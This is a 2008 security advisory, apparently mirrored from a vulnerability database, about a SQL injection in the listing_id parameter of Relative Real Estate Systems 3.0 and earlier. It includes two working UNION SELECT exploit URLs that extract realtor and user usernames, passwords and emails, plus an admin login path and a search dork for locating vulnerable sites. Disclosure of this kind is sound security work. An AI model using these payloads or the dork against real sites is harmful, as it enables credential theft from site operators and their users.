Relative Real Estate Systems <= 3.0 (listing_id) SQL Injection Vuln

🗓️ 25 Jun 2008 00:00:00Reported by RootType
Relative Real Estate Systems <= 3.0 SQL Injection Vulnerability allows SQL query manipulation to access usernames and passwords of realtors and users in plain text

                                                ____________________&nbsp;&nbsp;&nbsp;___&nbsp;___&nbsp;________
\_&nbsp;&nbsp;&nbsp;_____/\_&nbsp;&nbsp;&nbsp;___&nbsp;\&nbsp;/&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;\\_____&nbsp;&nbsp;\&nbsp;&nbsp;
&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;__)_&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;\//&nbsp;&nbsp;&nbsp;&nbsp;~&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;\&nbsp;
&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\___\&nbsp;&nbsp;&nbsp;&nbsp;Y&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;\
/_______&nbsp;&nbsp;/&nbsp;\______&nbsp;&nbsp;/\___|_&nbsp;&nbsp;/\_______&nbsp;&nbsp;/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.OR.ID
ECHO_ADV_99$2008

-----------------------------------------------------------------------------------------
[ECHO_ADV_99$2008]&nbsp;Relative&nbsp;Real&nbsp;Estate&nbsp;Systems&nbsp;&lt;=&nbsp;3.0&nbsp;(listing_id)&nbsp;Sql&nbsp;Injection&nbsp;Vulnerability
-----------------------------------------------------------------------------------------

Author&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;M.Hasran&nbsp;Addahroni
Date&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;June,&nbsp;24&nbsp;th&nbsp;2008
Location&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;Jakarta,&nbsp;Indonesia
Web&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://e-rdc.org/v1/news.php?readmore=101
Critical&nbsp;Lvl&nbsp;:&nbsp;Medium
Impact&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;System&nbsp;access
Where&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;From&nbsp;Remote
---------------------------------------------------------------------------

Affected&nbsp;software&nbsp;description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application&nbsp;:&nbsp;Relative&nbsp;Real&nbsp;Estate&nbsp;Systems
version&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&lt;=&nbsp;3.0
Vendor&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://www.dboorn.com/estate/
Description&nbsp;:

Elegant&nbsp;real&nbsp;estate&nbsp;script&nbsp;that&nbsp;allows&nbsp;for&nbsp;unlimited&nbsp;listings&nbsp;and&nbsp;agents&nbsp;with&nbsp;featured&nbsp;listings,&nbsp;
unlimited&nbsp;photos,&nbsp;advanced&nbsp;search&nbsp;engine,&nbsp;user&nbsp;login&nbsp;option,&nbsp;user&nbsp;tracking,&nbsp;dynamic&nbsp;slide&nbsp;shows,
Mls/Idx&nbsp;support,&nbsp;multiple&nbsp;agents&nbsp;with&nbsp;photo,&nbsp;mortgage&nbsp;calculator,&nbsp;schools&nbsp;info,&nbsp;C.M.A.&nbsp;
request&nbsp;form,&nbsp;full&nbsp;admin&nbsp;panel.Requires&nbsp;PHP/Mysql&nbsp;Windows&nbsp;Server&nbsp;or&nbsp;any&nbsp;Web&nbsp;server&nbsp;with&nbsp;php&nbsp;support.

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~

Input&nbsp;passed&nbsp;to&nbsp;the&nbsp;&quot;listing_id&quot;&nbsp;parameter&nbsp;in&nbsp;index.php&nbsp;is&nbsp;not&nbsp;properly&nbsp;verified&nbsp;before&nbsp;being&nbsp;used&nbsp;
in&nbsp;an&nbsp;sql&nbsp;query.
This&nbsp;can&nbsp;be&nbsp;exploited&nbsp;thru&nbsp;the&nbsp;browser&nbsp;to&nbsp;manipulate&nbsp;SQL&nbsp;queries&nbsp;and&nbsp;pull&nbsp;the&nbsp;username&nbsp;and&nbsp;password&nbsp;from&nbsp;realtors&nbsp;
and&nbsp;users&nbsp;in&nbsp;plain&nbsp;text.
Successful&nbsp;exploitation&nbsp;requires&nbsp;that&nbsp;&quot;magic_quotes&quot;&nbsp;is&nbsp;off.


Poc/Exploit:
~~~~~~~~~

http://[URL]/[path]/index.php?go=listings&amp;listing_id=-30%20union%20select%201,2,3,4,5,6,7,8,concat(id,0x3a,username,0x3a,password,0x3a,email),0,1,2,3,4,5,6,7,8,9,0,1%20from%20realtors--

http://[URL]/[path]/index.php?go=listings&amp;listing_id=-30%20union%20select%201,2,3,4,5,6,7,8,concat(username,0x3a,password),0,1,2,3,4,5,6,7,8,9,0,1%20from%20users--

Admin&nbsp;Login&nbsp;at&nbsp;http://[URL]/[PATH]/Admin/login_index.php

Dork:
~~~~
Google&nbsp;:&nbsp;&quot;index.php?go=listings&amp;listing&quot;


Solution:
~~~~~~

-&nbsp;Edit&nbsp;the&nbsp;source&nbsp;code&nbsp;to&nbsp;ensure&nbsp;that&nbsp;input&nbsp;is&nbsp;properly&nbsp;verified.
-&nbsp;Turn&nbsp;on&nbsp;magic_quotes&nbsp;in&nbsp;php.ini


Timeline:
~~~~~~~~

-&nbsp;24&nbsp;-&nbsp;06&nbsp;-&nbsp;2008&nbsp;bug&nbsp;found
-&nbsp;24&nbsp;-&nbsp;06&nbsp;-&nbsp;2008&nbsp;vendor&nbsp;contacted
-&nbsp;24&nbsp;-&nbsp;06&nbsp;-&nbsp;2008&nbsp;advisory&nbsp;released
---------------------------------------------------------------------------

Shoutz:
~~~~
~&nbsp;ping&nbsp;-&nbsp;my&nbsp;dearest&nbsp;wife,&nbsp;zautha&nbsp;-&nbsp;my&nbsp;little&nbsp;warrior
~&nbsp;y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v,az001,negative,
the_hydra,neng&nbsp;chika,&nbsp;str0ke
~&nbsp;everybody&nbsp;[at]&nbsp;SCAN-NUSANTARA&nbsp;and&nbsp;SCAN-ASSOCIATES
~&nbsp;masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,an0maly,cybertank,
super_temon,&nbsp;b120t0,inggar,fachri,adi,rahmat,indra,cyb3rh3b
~&nbsp;dr188le,SinChan,h4ntu,cow_1seng,poniman_coy,paman_gembul,ketut,rizal,cR4SH3R,
kuntua,&nbsp;stev_manado,nofry,k1tk4t,0pt1c
~&nbsp;[email protected]
~&nbsp;#aikmel&nbsp;#e-c-h-o&nbsp;@irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~~

K-159&nbsp;||&nbsp;echo|staff&nbsp;||&nbsp;eufrato[at]gmail[dot]com
Homepage:&nbsp;http://www.e-rdc.org/

--------------------------------&nbsp;[&nbsp;EOF&nbsp;]&nbsp;----------------------------------&nbsp;
25 Jun 2008 00:00Current
7.1High risk
Vulners AI Score7.1
Relative Real Estate Systems &lt;= 3.0 (listing_id) SQL Injection Vuln

Relative Real Estate Systems <= 3.0 (listing_id) SQL Injection Vuln
